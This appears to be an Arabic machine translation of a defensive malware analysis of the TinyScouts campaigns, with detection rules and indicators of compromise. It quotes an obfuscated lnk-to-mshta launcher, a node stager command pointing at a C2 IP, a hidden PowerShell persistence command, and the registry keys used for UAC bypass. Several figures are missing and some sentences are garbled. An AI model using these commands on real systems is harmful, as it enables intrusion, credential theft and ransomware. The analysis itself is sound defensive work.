أصعب قليلاً مما يبدو: كيف هجوم TinyScouts

منذ بعض الوقت ، بدأنا في تسجيل محاولات إصابة البنى التحتية لعملائنا ببرامج ضارة لم تكن معروفة من قبل. تم تسليمه للمستخدمين من خلال رسائل البريد الإلكتروني المخادعة ، والتي كانت مخصصة أحيانًا للموجة الثانية من فيروس كورونا ، وأحيانًا - بشكل واضح "شحذ" للمؤسسة التي تعرضت للهجوم والمتعلقة بأنشطتها. تظاهر المتسللون بأنهم شركات مختلفة قائمة ، على سبيل المثال ، نوريلسك نيكل ، الاتحاد الروسي للصناعيين ورجال الأعمال ، Finauditservice ، إلخ.







تجدر الإشارة إلى جانبين من أنشطة المجموعة: الأول ، المستوى العالي من المهارات الفنية للمهاجمين ، وثانيًا ، تنوع سيناريو الهجوم. إذا لم تكن مهتمًا كضحية ، فسوف يسرقون كلمات المرور ويقومون بتشفير البيانات ، ولكن إذا كان جهازك في مجال مثير للاهتمام ولديه إمكانية تطوير هجوم أكثر إثارة للاهتمام ، فسيقومون بتنزيل أداة الإدارة عن بعد (RAT) المكتوبة في PowerShell. أطلقنا على التجميع TinyScouts بعد أسماء الوظائف من الشفرة الخبيثة. في هذه المقالة ، سنخبرك عن حملتيها الأخيرتين ، والتي يمكن تقسيمها بشروط على شهور - يوليو وأغسطس 2020 ، وسنقوم بتحليل كامل لأدوات ونصوص TinyScouts.



حملة يوليو. تحميل مباشر





في يوليو ، تم توزيع البرنامج الضار على شكل ملف lnk الذي نفذ الأمر التالي:



%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)


نتيجة لتشغيل mshta.exe ، تم تنفيذ نص JS المشوش. تتمثل مهمتها في استخراج مستند من جسم ملف lnk للإلهاء ، وفتحه من خلال rundll32.exe وتشغيل أمر PowerShell المبهم. يتم عرض جزء من البرنامج النصي بعد







إلغاء التعتيم أدناه: البرنامج النصي في تنفيذ الأحمال المتغيرة وتشغيل برنامج نصي آخر مبهم من PowerShell يسمى Decide (request to decide.php). فيما يلي مثال على التشويش:







مهمة هذا البرنامج النصي هي التحقق من توافق الكمبيوتر مع بعض المعلمات وتنزيل التحميل التالي من الخوادم. يتم عرض مقتطف من الشفرة المبهمة أدناه:







يتم التحقق من وجود برنامج TeamViewer وجلسات RDP وحقيقة تسجيل الدخول إلى المجال من أجل تحديد التحميل الذي يجب تنزيله. في حالة وجود نظام "مثير للاهتمام" ، يتم تحميل RAT ، وإلا - فيروسات الفدية. في كلتا الحالتين ، هذه نصوص مخفية في عدة طبقات.



حملة أغسطس (جارية). خدمات تور المخفية







في أوائل أغسطس ، تغير نظام التوزيع: الآن تحتوي الرسائل على رابط لتنزيل أرشيف sfx ، والذي يحتوي على 4 ملفات:



  • document.doc. مستند مفتوح للإلهاء ولا يحمل حمولة ضارة.
  • 7za.exe. 7Z - أرشيفي.
  • wget.exe. الأداة المساعدة wget الأصلية.
  • الخدمات. JS النصي Stager 1


عند بدء أرشيف sfx ، يتم تنفيذ الإجراءات التالية:



1) تم فتح document.doc



2) باستخدام wget و 7z ، يتم تنزيل TOR و node.exe وفك حزمهما من الروابط التالية:



www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip



nodejs.org/dist/latest-carbon/win-x86/node.exe



3) باستخدام node.exe ، يتم تشغيل البرنامج النصي Stager 1:



C: \ Windows \ System32 \ cmd.exe "/ c إذا اسم مضيف غير موجود (خدمة العقدة 192.248 [.] 165.254)



فيما يلي نص Stager 1 غير المعزول :







يتلقى البرنامج النصي للخدمة عنوان خادم التحكم كوسيطة ، وعند بدء التشغيل ، يقوم بإنشاء TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). تجدر الإشارة إلى أنه عند بدء تشغيل خدمة TOR المخفية ، يتم إنشاء اسمها (يشبه اسم مورد عادي في شبكة TOR ، على سبيل المثال ، vkss134jshs22yl3li2ul.onion). بعد ذلك ، يرسل البرنامج النصي اسم الخدمة المخفية الذي تم إنشاؤه إلى المهاجم ويظهر خادم الويب المحلي. بعد ذلك ، يتواصل المهاجم مع النظام المصاب في وضع الطلب / الاستجابة لخادم الويب (السطر 19 في الكود) ، حيث تحتوي الطلبات على رمز التنفيذ ، وتحتوي الردود على النتائج.



تسمح هذه البنية للمهاجم بالوصول إلى نظام مصاب ، حتى لو كان وراء NAT (الشرط الرئيسي هو وجود الإنترنت) ، ويجعل من غير الضروري معرفة عنوان IP "الأبيض" للضحية.



يأتي الطلب الأول إلى خادم الويب المرفوع من البرنامج النصي Decider ، وتتمثل مهمته في تحديد حقيقة انضمام الكمبيوتر إلى المجال ، وكذلك الحصول على اسم المستخدم. هذه المرة ، لا توجد عمليات فحص لبرنامج TeamViewer و RDP:







بعد إرسال نتائج البرنامج النصي Decider إلى المهاجم ، يتم إرسال طلب ويب إلى النظام المصاب يحتوي إما على برامج الفدية أو RAT ، اعتمادًا على مصلحة المهاجم.







الوحدات المشتركة في كلتا الحملتين



البرنامج النصي Stager 3



يحتوي البرنامج النصي الرئيسي على 5 مكونات مشفرة في base64:



  • Encryptor ransomware
  • Readme
  • WebBrowserPassView
  • Mail PassView
  • Injector. , WebBrowserPassView Mail PassView svchost. RunPE.


وظائف البرنامج النصي Stager 3 :



1) بدء تشغيل برنامج الفدية (وظيفة Get-Stuff) يوجد



أدناه جزء من رمز البرنامج النصي مع إطلاق برنامج الفدية:







2) تجاوز UAC (لإزالة النسخ الاحتياطية)



هناك ثلاث تقنيات في الكود: استخدام csmtp.exe و CompMgmtLauncher.exe و ملف fodhelper.exe. يمكنك أن تقرأ عنها هنا ، هنا و هنا .



3) إزالة النسخ الاحتياطية



4) تشغيل WebBrowserPassView و Mail PassView



هذه أدوات مساعدة من Nirsoft لاستخراج كلمات المرور من المستعرضات وعملاء البريد الإلكتروني ، على التوالي.











5) إرسال تقارير الأدوات المذكورة أعلاه إلى خادم الإدارة.



قبل الإرسال ، يتم تشفير التقارير باستخدام خوارزمية RC4 بمفتاح مُولد (4 أحرف):







يتم وضع المفتاح نفسه في بداية الرسالة:







Encryptor ransomware



تبدو رسالة readme بالشكل التالي:







المشفر عبارة عن ملف .NET قابل للتنفيذ بدون أي تشويش. يتم تشفير الملفات باستخدام خوارزمية AES. يتم إنشاء مفتاح منفصل ومتجه التهيئة لكل ملف ، والذي يتم بعد ذلك تشفيره باستخدام المفتاح العام RSA ووضعه في الملف المشفر. تظهر الوظيفة الرئيسية لبرامج الفدية أدناه:







فأر



يحتوي هذا النص على عدة طبقات من التشويش. بعد فك التشفير ، يمكنه تنفيذ الأوامر التالية:



  • حذف - حذف ذاتي
  • exec - تنفيذ أمر PowerShell
  • تنزيل - تنزيل الملف
  • set_wait_time - تغيير وتيرة طلبات الأمر
  • update_tiny - تحديث RAT
  • ؛ run_module - قم بتشغيل كتلة أوامر PowerShell
  • add_persist_module - أضف وحدة PowerShell إلى النظام الذي سيتم تنفيذه في كل مرة يتم فيها بدء RAT.
  • remote_persist_module - إزالة وحدة نمطية من قائمة بدء تشغيل RAT.


تظهر وظيفة معالجة الأوامر غير المبهمة أدناه:







طريقة التثبيت



يتم استخدام مفتاحين للتثبيت:



1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. يتم وضع الأمر التالي في هذا المفتاح (يتم تفكيك الخط):



cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»


2) HKCU \ SOFTWARE \ مايكروسوفت \ ويندوز. هذا هو المكان الذي يتم فيه تخزين البرنامج النصي في قيمة تسمى client_id. وبالتالي ، عند بدء تشغيل النظام ، يقوم الأمر من مفتاح التشغيل بقراءة النص وتشغيله من هنا.

client_id - سلسلة من تنسيق AppX + base64 (اسم المضيف + اسم المستخدم + معرّف الحملة)



تبدو وظيفة التثبيت كما يلي:







نص برمجي تم فك تشفيره يتم وضعه في تشغيل:







تجدر الإشارة إلى أن رمز البرنامج الضار لا يتم تخزينه على القرص أو في السجل: يتم تحميله من جديد في كل مرة مع النص أعلاه.



أمر Add_persist_module



تمتلك RAT القدرة على إضافة وحدات PowerShell النمطية التي سيتم تشغيلها عند كل بدء تشغيل. لهذا ، يتم استخدام مفتاح تسجيل منفصل ، والذي يخزن معرفات الوحدة. أثناء بدء التشغيل ، يتم التحقق من هذا المفتاح ، ويقوم البرنامج الضار بتقديم طلب إلى الخادم ، وتنزيل جميع الوحدات من خلال معرفاتها.







عند بدء تشغيل البرنامج الضار ، يتم تشغيل وظيفة Load-AllPersistModules لتشغيل جميع الوحدات المضافة:







لا يتم تخزين رمز الوحدة أيضًا على الأقراص أو في التسجيل ، تمامًا مثل الجسم الرئيسي لـ RAT.



تفاعلات الخادم



يحتوي الرمز على ثابت CampaignID ، والذي يتم استخدامه عند تسجيل RAT عند بدء التشغيل (وظيفة تسجيل صغيرة) كمفتاح تشفير. خوارزمية التشفير هي RC4. بعد إرسال المعلومات الأساسية عن النظام ، تحتوي استجابة الخادم على مفتاح التشفير ، والذي سيتم استخدامه في المستقبل بنفس الخوارزمية.







الجوانب الفنية لاكتشاف بيانات الحملة



للإجابة على سؤال حول كيفية اكتشاف هذا أو ذاك ، نحاول تقسيم جميع القواعد إلى مجموعتين كبيرتين:



  • الكشف عن الحالات الشاذة على مستوى النظام ،
  • كشف الشذوذ لشركة / عائلة / أداة معينة.


كشف الشذوذ على مستوى النظام



التفاعل مع الخوادم الوسيطة و n:

في حملة يوليو من حيث الكشف عن هذا النشاط وحجبه ، يكفي إضافة عناوين IP وأسماء المجال إلى قوائم الحظر ، مع عدم نسيان مراقبة محاولات الوصول إليها.



في شهر أغسطس ، أصبح الأمر أكثر صعوبة مع جانب اكتشاف الشبكة ، وهنا يجدر الانتباه إلى ما يلي:



  • لا يزال بإمكاننا حظر وإخراج بعض عناوين IP وأسماء المجالات للمراقبة ؛
  • يجبرنا وجود نشاط الشبكة من خلال TOR على تخزين وتحديث قوائم عناوين IP المشاركة في بناء هذه الشبكة ديناميكيًا. وهنا بالنسبة لنا ، يمكن أن تكون قاعدة الكشف بمثابة استئناف لعنوان IP من شبكة TOR ؛
  • , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .


بالنسبة لكلتا الحملتين ، ستعمل مجموعة قواعد IDS التي تهدف إلى اكتشاف طرق PowerShell المحددة المستخدمة أو نموذج Base64 المحول بشكل جيد.



تشغيل التعليمات البرمجية على النظام الهدف



يوجد مصدران للأحداث ، تدقيق Windows و Sysmon.



PowerShell Script Block Logging



السجل الذي يحتوي على سجلات برامج PowerShell النصية قيد التشغيل. يقع في المسار التالي: سجلات التطبيقات والخدمات> Microsoft> Windows> Powershell> التشغيلية.



ستعمل قواعد الكشف ، التي تهدف إلى اكتشاف طرق PowerShell محددة قيد الاستخدام ، على القيام بعمل جيد للكشف عن نشاط هذه الحملات. بدء عملية



سجل الأمان (أو Sysmon)



- 4648 (1)



لاكتشاف هذا النشاط ، يلزم وجود قواعد كلاسيكية لاكتشاف الحالات الشاذة فيما يتعلق بالأب -> عمليات الطفل. يتم تتبع هذه الحزم جيدًا أثناء عملية بدء التشغيل على المضيف: md-> mshta، cmd- >owershell، mshta- >owershell، rar-> rundll32، node-> wmic.



يمكن أن تساعد قاعدة تتبع المعلمات المشبوهة لعمليات البدء أيضًا: »معالجة



اتصال الشبكة - 5156 (3)



يجب أن تساعد قاعدة الكشف عن اتصال الشبكة من عملية PowerShell إلى عناوين IP البيضاء في اكتشاف هذا النشاط.



أيضًا ، خلال حملة أغسطس ، ستساعد قواعد اكتشاف حركة مرور الخادم الوكيل الداخلية إلى 127.0.0.1 كثيرًا (هذا ما يفعله TOR وخادم الويب المحلي).



إدخال التسجيل - 4657 (13)



تحتفظ RAT المكتوبة في PowerShell بوجودها من خلال فرع التسجيل المشترك HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run ، مما يعني أن قاعدة مراقبة السجلات على طول هذا المسار هي خيارنا.



الكشف عن محاولات تجاوز تقنية التحكم بحساب المستخدم: تغييرات في فروع التسجيل التالية -



HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration


كشف الشذوذ لشركة / عائلة / أداة معينة



تشغيل الكود على النظام الهدف



عمليات البدء - 4648 (1)



هنا تحتاج إلى قاعدة لتتبع المعلمات المشبوهة لعمليات البدء: C: \ Windows \ System32 \ cmd.exe "/ c إذا لم يكن موجودًا اسم المضيف (خدمة العقدة)

الكتابة إلى السجل - 4657 (13 )



يحتفظ RAT ، المكتوب في PowerShell ، أيضًا بحضور من خلال سجل الفرع HKCU \ SOFTWARE \ Microsoft \ Windows ، وبالتالي من أجل الكشف ، نحتاج إلى تتبع قيم السجل «client_id» على طول هذا المسار. تتعارض



المؤشرات:



a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254 
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170


مؤلفو المنشور :



إيغور زالفسكي ، رئيس قسم التحقيق في الحوادث السيبرانية في JSOC CERT

Asker Jamirze ، خبير التحقيق الفني في JSOC CERT Department



All Articles